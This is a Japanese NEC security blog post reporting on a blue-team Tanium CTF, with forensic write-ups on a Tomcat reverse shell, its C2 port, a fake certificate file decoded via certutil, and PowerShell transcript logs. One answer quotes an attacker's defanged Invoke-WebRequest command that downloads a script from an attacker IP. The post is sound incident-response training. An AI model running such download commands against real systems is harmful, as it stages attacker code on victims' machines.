Tanium CTF参加レポート

NECセキュリティブログ

2024年3月12日

NECサイバーセキュリティ戦略統括部セキュリティ技術センターの松井、小泉、桐下です。
本ブログでは、2021年から日本で開催されているTanium社主催のCTF競技であるTanium CTFの参加レポートをお届けします。

Tanium CTFについて

Tanium CTFは、Tanium社製品であるTanium Threat Responsenew window[1]を用いて、侵害痕跡が残された疑似的な環境を対象にセキュリティインシデント対応能力を競い合うブルーチームを対象としたセキュリティコンテストです。new window[2]
Tanium CTFの大きな特徴として、国家支援攻撃者に特徴的な高度な攻撃によって侵害されたシステムを舞台に、実世界さながらの緊張感をもって侵害調査を行えるよう競技シナリオが構成されている点があげられます。そのため、一般的なCTFに比べて、インシデント対応の世界観への高い没入感を味わうことができます。
普段インシデント対応を行うメンバーだけではなく、これから経験を積んで高いスキルを獲得していきたいと思っている方へのトレーニングコンテンツとしても大変効果的な競技であると感じています。

Tanium CTFの振り返り

Tanium CTFには初回の2021年からNECグループメンバで構成されたチームで参加しており、2023年まで3年連続で優勝することができています。参加メンバーはいずれも、Tanium Threat Responseを普段業務で利用していませんが、Tanium Threat Responseが直観的に操作しやすいインターフェースを持っていたため、インシデントレスポンスやデジタルフォレンジックの勘所を基に競技を進めていくことが出来ました。
ここからは、Tanium CTFで出題された問題をWriteup形式で紹介します。

  • WriteupについてはTanium社に許可をいただき記載しています。

Tanium CTF Writeups

Red Team Assessment 1a(Tanium CTF 2023)

Q. 攻撃者がWebサーバShobuからC2サーバへのリバースシェルを確立して最初に実行したコマンドは何ですか?

「攻撃者がWebサーバShobuからC2サーバへのリバースシェルを確立」という問題文からWebアプリケーションが侵害されたと仮定し、Webアプリケーション用のアカウントに関連するプロセスイベントを調査します。Apache Tomcat用のtomcatアカウントによる不審なcatコマンドの実行を発見したため、該当するプロセスのプロセスツリーを表示します。Tanium Threat Responseではプロセスの親子関係を可視化できるため、リバースシェル上で攻撃者が実行したコマンドを容易に確認できます。リモートシェル上で攻撃者が実行したコマンドの時刻を確認し、並列するコマンドの中で一番右端にあるidコマンドを回答したところ正解となりました。

A. id

Red Team Assessment 1b(Tanium CTF 2023)

Q. 攻撃者がWebサーバShobuで権限昇格する前のリバースシェルのユーザ権限は何ですか?

1aの設問で回答が分かっていますが、念のため権限昇格に使用されるコマンドを探します。権限昇格に使用するsudoコマンドの実行が見つかりました。sudoコマンドを実行したユーザをプロセスツリー上で確認します。tomcatが正解です。

A. tomcat

Red Team Assessment 1c(Tanium CTF 2023)

Q. 攻撃者がWebサーバShobuからC2サーバと通信するのに最初に利用した通信先のポート番号は何番ですか?

通信先を問われていることからネットワークイベントに着目します。情報量が多いため、今まで判明している情報から下記のフィルタを適用します。

  • プロセスパスにjavaを含む(Apache Tomcatが動作するプロセス)
  • 2022/9/26 10:00以降のイベント(リバースシェル確立後の最初のコマンドが同日10:22に実行されているため)
  • ループバックアドレスに対する通信を除外

Apache Tomcatが8080ポートでサービスを提供し、192.168.1.88からの通信に応答している様子が確認できます。ある時点で通信の方向がインバウンド(Accept)からアウトバウンド(Connect)に変わっています。192.168.1.88:67が通信先であるため、宛先ポートである67が正解です。

A. 67

Corporate Espionage & Supply Chain Attack - Intermediate 1c(Tanium CTF 2022)

Q. Live Endpoint機能とファイルブラウザ機能を使って、newcerts.zipファイルをダウンロードし、Zipファイルを解凍してください。解凍されたZipファイルの中に含まれるバッチファイルと同じファイル名のバッチファイルが存在するエンドポイントはこの環境にいくつありますか?

Zipファイルの中に含まれるバッチファイルを確認するために、newcerts.zipファイルの取得を試みます。newcerts.zipがどの端末に配置されているか不明であるため、Indexセンサーを用いてnewcerts.zipの存在を特定します。

次に、Indexセンサーで特定したnewcerts.zipファイルをFileBrowser機能を使ってダウンロードします。newcerts.zipを展開するとkollane.batとcrtファイルの2つファイルが展開されます。
このcrtファイルは[-----BEGIN CERTIFICATE-----]から始まり[-----END CERTIFICATE-----]で終了する証明書ファイルの形式の外観をしていますが、同梱のkollane.batが実行されることでMicrosoftのネイティブバイナリであるcertutil.exeが呼び出され、Base64文字列がデコードされることで悪意のある実行ファイルが生成される動作となっています。

問題は、kollane.batと同じファイル名のバッチファイルが存在するエンドポイントを確認すればよいため、改めてIndexセンサーで検索します。

その結果、kollane.batが存在するエンドポイントは5台であることがすぐに判明します。

A. 5

Corporate Espionage & Supply Chain Attack – Advanced 18a(Tanium CTF 2022)

Q. 攻撃者はal-khwarizmi.enterprise.localでPowerShellコマンドを実行しました。このシステムでは、C:\PSTranscriptにPowerShellのトランザクションログが保存されています。al-khwarizmi.enterprise.local上に不審なファイルをダウンロードするために使用したPowerShellコマンドは何でしょうか?

PowerShellの実行ログのうち、トランスクリプトログはユーザが入力したすべてのコマンドと、コンソールに表示されたすべての出力が記録されます。モジュールログやスクリプトブロックログとは違い、トランスクリプトログはイベントログではなくテキストにログが出力されます。問題に回答するために、侵害が発生した日付付近のトランスクリプトログを調査する必要がありますが、ファイル数が多いため、あたりをつけて回答を探す必要があります。問題には、「不審なファイルをダウンロードするために使用したPowerShellコマンド」とあるため、Webサイトからファイルをダウンロードする最も一般的なPowerShellコマンドであるInvoke-WebRequestを検索したところ、pwsh.ps1という不審なファイルをダウンロードするコマンドの実行ログが記録されていることが分かります。

A. Invoke-WebRequest -Uri hxxp://192.168.1[.]41/pwsh/pwsh.ps1 -OutFile pwsh.ps1

さいごに

今回は、Tanium CTFの参加レポートについてお伝えしました。
競技で利用したTanium Threat Responseは利用にあたり特別なクエリ言語を習得する必要がなく高度な調査に活用することができました。学習コストをかけずに思いのまま扱えるツールは現場対応の観点からも有益だと思います。
最後になりましたが、大変素晴らしいCTF競技を提供頂きましたTanium様にお礼を申し上げます。次回のTanium CTFも楽しみにしています。

参考資料

執筆者プロフィール

松井 祐輔(まつい ゆうすけ)
セキュリティ技術センター

脅威インテリジェンス、内部侵入攻撃対策を専門とする。
大規模国際イベントや官民向けのサイバーセキュリティ対応業務を経て、現在はNEC CSIRT Cyber Threat Intelligenceなどの業務に従事。

CISSP、CISA、2×SANSメダル、5×Splunk Botsトロフィー、Offensive Securityメダル、3×Taniumメダルを保持。
YamatoSEC上忍、AD Hack WGリード、Hardening Project Kuromame6 メンバー、Offensive Security Lab Japan実行委員

執筆者の他の記事を読む

執筆者プロフィール

小泉 嘉彦(こいずみ よしひこ)
セキュリティ技術センター

NECサイバーセキュリティ訓練場演習の立ち上げを行った後に大規模国際イベントや官民向けのサイバーセキュリティ対応とし脅威インテリジェンス・フォレンジック・マルウェア解析・ペネトレーションテストに従事。現在はNEC Cyber Security Dashboardの企画・開発・運営に従事し、NECグループ全社員に向けてのセキュリティアウェアネス向上を目指す。

5×Splunk Boss of the SOCトロフィー、3×Taniumメダルを保持
情報処理安全確保支援士(RISS)、CISSPを保持

執筆者の他の記事を読む

執筆者プロフィール

桐下 拓也(きりした たくや)
セキュリティ技術センター

大規模国際イベントのサイバーセキュリティ対応業務を経て、現在はインシデント対応、ペネトレーションテスト、NEC CSIRTなどの業務に従事。

2×SANSメダル、5×Splunk Boss of the SOCトロフィー、2×Taniumメダルを保持
CISSP、GCFA、OSDA、OSCP、OSWPを保持

執筆者の他の記事を読む

アクセスランキング